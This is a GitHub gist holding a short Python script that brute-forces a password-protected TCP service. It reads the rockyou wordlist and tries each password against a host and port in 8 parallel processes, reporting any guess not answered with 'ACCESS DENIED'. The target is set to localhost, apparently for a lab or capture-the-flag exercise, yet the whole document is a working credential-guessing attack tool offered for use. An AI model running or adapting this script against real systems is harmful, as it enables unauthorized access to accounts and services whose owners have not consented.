Skip to content

Instantly share code, notes, and snippets.

@wesleyit
Created June 2, 2021 19:56
Show Gist options
  • Save wesleyit/084fc410748952424231b811e9a74cc1 to your computer and use it in GitHub Desktop.
Save wesleyit/084fc410748952424231b811e9a74cc1 to your computer and use it in GitHub Desktop.
This python script can be used to bruteforce a tcp service (like those ones you need to connect with telnet or nc and type a password).
#!/usr/bin/env python3
import sys
import socket
from multiprocessing import Pool as pool
THREADS = 8
HOST = 'localhost'
PORT = 9999
WORDLIST = '/opt/wordlists/rockyou.txt'
with open(WORDLIST, 'rb') as f:
wordlist = f.readlines()
def make_a_guess(password):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
s.recv(1024) # get login screen
s.sendall(password)
data = s.recv(1024) # get result message
s.close()
if data.find(b'ACCESS DENIED') == -1:
print('[!] Password found!', password.decode())
sys.exit(0)
if __name__ == '__main__':
print(f'[*] Starting the pool with {THREADS} threads...')
p = pool(THREADS)
p.map(make_a_guess, wordlist)
print('[*] Done! Ending all threads.')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment